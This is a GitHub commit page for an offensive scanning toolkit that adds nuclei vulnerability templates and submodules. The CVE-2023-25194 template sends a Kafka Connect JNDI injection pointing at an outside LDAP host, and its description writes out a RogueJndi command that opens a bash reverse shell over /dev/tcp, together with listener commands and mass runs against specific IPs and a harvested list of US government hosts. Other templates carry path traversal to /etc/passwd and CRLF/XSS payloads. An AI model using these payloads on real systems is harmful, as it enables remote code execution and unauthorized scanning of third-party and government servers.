Skip to content

Commit eab78ad

Browse files
hktalenthktalent
committed
add config/51pwn/CVE-2023-25194.yaml 2023-02-23
1 parent 90699fb commit eab78ad

File tree

128 files changed

+3507
-6387
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

128 files changed

+3507
-6387
lines changed

‎.gitmodules

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,3 +10,9 @@
1010
[submodule "tools/ProxyShell"]
1111
path = tools/ProxyShell
1212
url = https://github.com/ktecv2000/ProxyShell.git
13+
[submodule "config/smuggler"]
14+
path = config/smuggler
15+
url = https://github.com/defparam/smuggler.git
16+
[submodule "tools/The-Hacker-Recipes"]
17+
path = tools/The-Hacker-Recipes
18+
url = https://github.com/ShutdownRepo/The-Hacker-Recipes.git

‎README_CN.md

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -278,9 +278,14 @@ https://github.com/heartshare/go-wafw00f
278278
279279
git submodule add --force https://github.com/projectdiscovery/fuzzing-templates.git config/fuzzing-templates
280280
git submodule add --force https://github.com/projectdiscovery/nuclei-templates.git config/nuclei-templates
281+
git submodule add --force https://github.com/defparam/smuggler.git config/smuggler
281282
git submodule update --init --recursive
282283
/usr/bin/git -c protocol.version=2 submodule update --init --force --recursive
283284
/usr/bin/git -c protocol.version=2 submodule update --remote --force --recursive
284285
285286
git submodule update --init --recursive --remote
286-
-->
287+
288+
289+
cat us_gov_ksubdomain.txt|sed 's/=.*$//g'|sort -u|./tools/macOS/httpx -silent -http2 -nc -p 80,443 -t 60 -json -o us_gov_httpx.json
290+
291+
-->

‎brute/dicts/filedic.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7053,6 +7053,7 @@ $metadata
70537053
/examples/index.html
70547054
/examples/jsp/index.html
70557055
/examples/jsp/jsp2/misc/config.jsp
7056+
/;param=value/examples/jsp/snp/snoop.jsp
70567057
/examples/jsp/snp/snoop.jsp
70577058
/examples/jsp/source.jsp
70587059
/examples/servlet/HelloWorldExample

‎config/51pwn/CVE-2019-0221.yaml

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
id: CVE-2019-0221
2+
3+
info:
4+
name: Apache Tomcat - Cross-Site Scripting
5+
author: pikpikcu
6+
severity: medium
7+
description: |
8+
Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
9+
reference:
10+
- https://seclists.org/fulldisclosure/2019/May/50
11+
- https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
12+
- https://www.exploit-db.com/exploits/50119
13+
- https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
14+
- https://nvd.nist.gov/vuln/detail/CVE-2019-0221
15+
classification:
16+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
17+
cvss-score: 6.1
18+
cve-id: CVE-2019-0221
19+
cwe-id: CWE-79
20+
metadata:
21+
shodan-query: title:"Apache Tomcat"
22+
tags: apache,xss,tomcat,seclists,edb,cve,cve2019
23+
24+
requests:
25+
- method: GET
26+
path:
27+
- "{{BaseURL}}/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
28+
- "{{BaseURL}}/ssi/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E"
29+
30+
matchers-condition: and
31+
matchers:
32+
33+
- type: word
34+
words:
35+
- "<script>alert('xss')</script>"
36+
37+
- type: word
38+
part: header
39+
words:
40+
- "text/html"
41+
42+
- type: status
43+
status:
44+
- 200
45+
46+
# Enhanced by mp on 2022/08/11

‎config/51pwn/CVE-2020-9484.yaml

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
id: CVE-2020-9484
2+
3+
info:
4+
name: Apache Tomcat Remote Command Execution
5+
author: dwisiswant0
6+
severity: high
7+
description: |
8+
When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if
9+
a) an attacker is able to control the contents and name of a file on the server; and
10+
b) the server is configured to use the PersistenceManager with a FileStore; and
11+
c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and
12+
d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.
13+
Note that all of conditions a) to d) must be true for the attack to succeed.
14+
reference:
15+
- http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html
16+
- https://nvd.nist.gov/vuln/detail/CVE-2020-9484
17+
- https://lists.apache.org/thread.html/r77eae567ed829da9012cadb29af17f2df8fa23bf66faf88229857bb1%40%3Cannounce.tomcat.apache.org%3E
18+
- https://lists.apache.org/thread.html/rf70f53af27e04869bdac18b1fc14a3ee529e59eb12292c8791a77926@%3Cusers.tomcat.apache.org%3E
19+
classification:
20+
cvss-metrics: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
21+
cvss-score: 7
22+
cve-id: CVE-2020-9484
23+
cwe-id: CWE-502
24+
metadata:
25+
shodan-query: title:"Apache Tomcat"
26+
tags: rce,packetstorm,cve,cve2020,apache,tomcat
27+
28+
requests:
29+
- method: GET
30+
headers:
31+
Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
32+
path:
33+
- "{{BaseURL}}/index.jsp"
34+
35+
matchers-condition: and
36+
matchers:
37+
- type: status
38+
status:
39+
- 500
40+
41+
- type: word
42+
part: body
43+
words:
44+
- "Exception"
45+
- "ObjectInputStream"
46+
- "PersistentManagerBase"
47+
condition: and
48+
49+
# Enhanced by mp on 2022/04/04

‎config/51pwn/CVE-2023-25194.yaml

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
id: CVE-2023-25194_51pwn
2+
3+
info:
4+
name: CVE-2023-25194_51pwn
5+
author: 51pwn
6+
severity: critical
7+
description: |
8+
Kafka Connect RCE via connector SASL JAAS JndiLoginModule configuration
9+
10+
http.title:"UI for Apache Kafka"
11+
12+
java -jar RogueJndi-1.1.jar --hostname 127.0.0.1 --ldapPort 1389 --httpPort 8000 -c "bash -c bash\${IFS}-i\${IFS}>&/dev/tcp/nc.51pwn.com/9999<&1"
13+
Starting RMI registry on port 1097
14+
Starting HTTP server on 0.0.0.0:8000
15+
Starting LDAP server on 0.0.0.0:1389
16+
Mapping ldap://127.0.0.1:1389/o=commons-collections7 to artsploit.controllers.CommonsCollections7
17+
Mapping ldap://127.0.0.1:1389/o=dummy to artsploit.controllers.Dummy
18+
Mapping ldap://127.0.0.1:1389/ to artsploit.controllers.RemoteReference
19+
Mapping ldap://127.0.0.1:1389/o=reference to artsploit.controllers.RemoteReference
20+
Mapping ldap://127.0.0.1:1389/o=scala-enable-unsafe-commons-deser to artsploit.controllers.Scala
21+
22+
nc -nlvp 9999
23+
nuclei -duc -t $PWD/config/51pwn/CVE-2023-25194.yaml -debug -u http://176.79.33.152:7001
24+
nuclei -duc -t $PWD/config/51pwn/CVE-2023-25194.yaml -debug -u http://135.181.39.55:8123
25+
cat atckData/us_gov_httpx.json|jq '.url'|sed 's/"//g'|nuclei -duc -t $PWD/config/51pwn/CVE-2023-25194.yaml -v
26+
reference:
27+
- https://hackerone.com/reports/1529790
28+
- https://github.com/ohnonoyesyes/CVE-2023-25194
29+
- https://www.oschina.net/news/228187
30+
- https://51pwn.com
31+
tags: web,cve,2023
32+
33+
requests:
34+
- raw:
35+
- |+
36+
GET / HTTP/1.1
37+
Host: {{Hostname}}
38+
39+
- |+
40+
POST /connectors HTTP/1.1
41+
Host: {{Hostname}}
42+
Cache-Control: max-age=0
43+
Upgrade-Insecure-Requests: 1
44+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
45+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
46+
Accept-Encoding: gzip, deflate
47+
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
48+
Content-Type: application/json
49+
Connection: close
50+
51+
{"name": "test",
52+
"config":
53+
{
54+
"connector.class":"io.debezium.connector.mysql.MySqlConnector",
55+
"database.hostname": "xxxxx",
56+
"database.port": "3306",
57+
"database.user": "root",
58+
"database.password": "xxxxxx",
59+
"database.dbname": "xxxx",
60+
"database.sslmode": "SSL_MODE",
61+
"database.server.id": "1234",
62+
"database.server.name": "localhost",
63+
"table.include.list": "MYSQL_TABLES",
64+
"tasks.max":"1",
65+
"topic.prefix": "aaa22",
66+
"debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory",
67+
"schema.history.internal.kafka.topic": "aaa22",
68+
"schema.history.internal.kafka.bootstrap.servers": "kafka:9202",
69+
"database.history.producer.security.protocol": "SASL_SSL",
70+
"database.history.producer.sasl.mechanism": "PLAIN",
71+
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://poc.51pwn.com:1389\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxxx\";"
72+
}
73+
}
74+
75+
# end
76+
unsafe: true
77+
cookie-reuse: true
78+
req-condition: true
79+
matchers-condition: and
80+
stop-at-first-match: true
81+
matchers:
82+
- type: dsl
83+
condition: and
84+
dsl:
85+
- status_code_1==200
86+
- contains(body_1,"UI for Apache Kafka")
87+
- status_code_2==201
88+
# - type: word
89+
# part: body
90+
# words:
91+
# - ".springframework."
92+
# - ".kafka.ui."
93+
# - "org.springframework.security.web.server.context."
94+
# condition: and

‎config/51pwn/Path_traversal_NodeJs.yaml

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
id: Path_traversal_NodeJs
2+
3+
info:
4+
name: Path_traversal_NodeJs
5+
author: 51pwn
6+
severity: critical
7+
reference:
8+
- https://hackerone.com/reports/358112
9+
- https://51pwn.com
10+
tags: pathtraversal,nodejs,pts
11+
12+
requests:
13+
- raw:
14+
- |+
15+
GET /a.markdown/../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
16+
Host: {{Hostname}}
17+
Accept:*/*
18+
Pragma:no-cache
19+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
20+
- |+
21+
GET /../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
22+
Host: {{Hostname}}
23+
Accept:*/*
24+
Pragma:no-cache
25+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
26+
- |+
27+
GET /test.php/ HTTP/1.1
28+
Host: {{Hostname}}
29+
Accept:*/*
30+
Pragma:no-cache
31+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
32+
# end payload
33+
unsafe: true
34+
pipeline: true
35+
pipeline-concurrent-connections: 40
36+
pipeline-requests-per-connection: 25000
37+
cookie-reuse: true
38+
req-condition: true
39+
matchers-condition: and
40+
stop-at-first-match: true
41+
matchers:
42+
- type: word
43+
part: body
44+
words:
45+
- 'not a directory'
46+
- 'root:'
47+
condition: or

‎config/51pwn/XSS_CRLF_Injection.yaml

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
id: XSS_CRLF_Injection
2+
3+
info:
4+
name: XSS_CRLF_Injection
5+
author: 51pwn
6+
severity: critical
7+
reference:
8+
- https://hackerone.com/reports/192749
9+
- https://51pwn.com
10+
tags: xss,crlf,injection
11+
12+
requests:
13+
- raw:
14+
- |+
15+
GET /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e HTTP/1.1
16+
Host: {{Hostname}}
17+
Accept:*/*
18+
Pragma:no-cache
19+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
20+
21+
- |+
22+
GET /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e HTTP/1.1
23+
Host: {{Hostname}}
24+
Accept:*/*
25+
Connection: keep-alive
26+
Pragma:no-cache
27+
Content-Type: application/x-www-form-urlencoded
28+
Content-Length: 0
29+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
30+
31+
# end payload
32+
unsafe: true
33+
pipeline: true
34+
pipeline-concurrent-connections: 40
35+
pipeline-requests-per-connection: 25000
36+
cookie-reuse: true
37+
req-condition: true
38+
matchers-condition: and
39+
matchers:
40+
- type: status
41+
status:
42+
- 200
43+
- type: word
44+
part: body
45+
words:
46+
- '<svg onload=alert(document.domain)>'
47+
condition: and

‎config/51pwn/spring_cloud_gateway_CVE_2022_22947.yaml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,8 @@ requests:
8282
- type: regex
8383
regex:
8484
- '(uid=[^\n\\]+)'
85+
- '(gid=[^\n\\]+)'
86+
condition: and
8587
extractors:
8688
- type: regex
8789
part: body

‎config/config.json

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,7 @@
1111
"dir",
1212
"-u",
1313
"",
14-
"-H",
15-
"'Cookie: JSESSIONID=353170776e;rememberMe=123'",
14+
"-H", "'Cookie: JSESSIONID=353170776e;rememberMe=123'",
1615
"--no-status",
1716
"-k",
1817
"--random-agent",

‎config/doKsubdomain.sh

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#!/bin/bash
2+
function doMasScan {
3+
if [[ -f $1 ]] ; then
4+
echo $PPSSWWDD| sudo -S ksubdomain enum -b 5M --dl $1 -f $HOME/MyWork/scan4all/config/database/subdomain.txt -o $HOME/MyWork/scan4all/atckData/$2
5+
else
6+
echo $PPSSWWDD| sudo -S ksubdomain enum -b 5M -d $1 -f $HOME/MyWork/scan4all/config/database/subdomain.txt -o $HOME/MyWork/scan4all/atckData/$2
7+
fi
8+
}
9+
doMasScan $1 $2
10+
11+

‎config/smuggler

Submodule smuggler added at 2be871e

‎cveMain.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ import (
3636
var Config embed.FS
3737

3838
// 多个web cve 检测
39-
func main() {
39+
func main1() {
4040
util.DoInit(&Config)
4141
for _, cbk := range []func(string) bool{
4242
ruby.DoCheck,

‎geCurIp_test.go

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,22 @@
11
package main
22

33
import (
4+
"github.com/hktalent/ProScan4all/lib/Smuggling"
45
"github.com/hktalent/ProScan4all/lib/util"
5-
"reflect"
6+
"os"
67
"testing"
78
)
89

910
func TestGetIp(t *testing.T) {
11+
os.Setenv("CacheName", "TmpXx1")
1012
util.DoInit(nil)
11-
t.Run("获取当前用户的ip", func(t *testing.T) {
12-
if got := util.GetIp(); !reflect.DeepEqual(got, "") {
13-
t.Errorf("GetIp() = %v, want %v", got, "")
14-
}
15-
})
13+
//t.Run("获取当前用户的ip", func(t *testing.T) {
14+
// if got := util.GetIp(); !reflect.DeepEqual(got, "") {
15+
// t.Errorf("GetIp() = %v, want %v", got, "")
16+
// }
17+
//})
18+
19+
Smuggling.DoCheckSmuggling("http://127.0.0.1/", "")
1620
util.Wg.Wait()
1721
util.CloseAll()
1822
}

0 commit comments

Comments
 (0)